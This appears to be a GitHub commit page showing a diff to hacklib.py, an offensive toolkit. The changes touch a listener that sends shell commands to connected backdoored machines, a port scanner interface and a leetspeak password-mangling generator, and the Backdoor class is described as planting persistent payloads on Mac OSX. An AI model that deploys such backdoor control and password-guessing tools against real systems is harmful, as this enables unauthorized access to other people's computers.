Skip to content

Commit 34ce368

Browse files
authored
Server fix
1 parent c2e7df9 commit 34ce368

File tree

1 file changed

+20
-21
lines changed

1 file changed

+20
-21
lines changed

hacklib.py

Lines changed: 20 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,16 @@
1919
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
2020

2121
import socket, httplib, threading, time, urllib2, os
22-
import logging
2322
from Queue import Queue
24-
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error
25-
try: from scapy.all import *
26-
except: raise MissingPackageException('Please install scapy to continue.')
23+
try: # Import scapy if they have it. If they don't, they can still use hacklib
24+
from scapy.all import *
25+
import logging
26+
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error
27+
except: pass
2728
from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset
2829

2930
class Backdoor(object):
30-
'''Creates a persistent backdoor payload. Currently only for Mac OSX.
31+
'''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
3132
Payloads for Windows and Linux coming soon.'''
3233

3334
def __init__(self):
@@ -81,7 +82,7 @@ class Server(object):
8182
def __init__(self, port):
8283
import socket
8384
self.port = port
84-
self.address = (socket.gethostname(), port)
85+
self.address = ('', port)
8586

8687
def listen(self):
8788
import time
@@ -92,12 +93,11 @@ def listen(self):
9293
connection, cAddress = sock.accept()
9394
try:
9495
print 'New connection', cAddress
95-
connection.sendall('whoami\n')
9696
while True:
9797
data = connection.recv(32768)
9898
if data:
9999
print '\n'.join(data.split('\n')[:-1])
100-
response = raw_input(data.split('\n')[-1])
100+
response = raw_input('bash$ ')
101101
data = None
102102
if response:
103103
connection.sendall(response + '\n')
@@ -616,7 +616,7 @@ def uiPortScan(address):
616616
if cmd == '2':
617617
s_port = raw_input('Input starting port > ')
618618
e_port = raw_input('Input end port >')
619-
ps.scan(address, (s_port, e_port))
619+
ps.scan(address, (int(s_port), int(e_port)))
620620
print 'Port scan complete.'
621621

622622
def uiDOS(address):
@@ -843,10 +843,10 @@ class Mangle:
843843

844844
def __init__(self, text, num1, num2, year1, year2):
845845

846-
self.num1 = num1
847-
self.num2 = num2 + 1
848-
self.year1 = year1
849-
self.year2 = year2 + 1
846+
self.num1 = num1
847+
self.num2 = num2
848+
self.year1 = year1
849+
self.year2 = year2
850850
self.text = text
851851

852852

@@ -925,14 +925,14 @@ def CapandYears(self):
925925
def Leet(self):
926926

927927
for x in self.text.split():
928-
print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$")
928+
print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
929929

930930

931931

932932
def LeetCap(self):
933933

934934
for x in self.text.split():
935-
print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$")
935+
print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
936936

937937

938938

@@ -942,8 +942,8 @@ def LeetYears(self):
942942

943943
for i in range(self.year1, self.year2):
944944

945-
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$"), i)
946-
print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$"))
945+
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
946+
print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
947947

948948

949949
def LeetNumbers(self):
@@ -952,15 +952,15 @@ def LeetNumbers(self):
952952

953953
for i in range(self.num1, self.num2):
954954

955-
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$"), i)
956-
print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$"))
955+
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
956+
print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
957957

958958

959959
def UniqueLeet(self):
960960

961961
for x in self.text.split():
962962

963-
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"),(x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8").replace("s", "$").replace("S", "$")))
963+
print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"),(x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")))
964964

965965

966966

@@ -1005,7 +1005,6 @@ def ReverseUnique(self):
10051005

10061006
print x[::-1] + x[::-1]
10071007

1008-
10091008
'''
10101009
This Classes Dectects Probe Requests from Wireless Devices.
10111010

0 commit comments

Comments
 (0)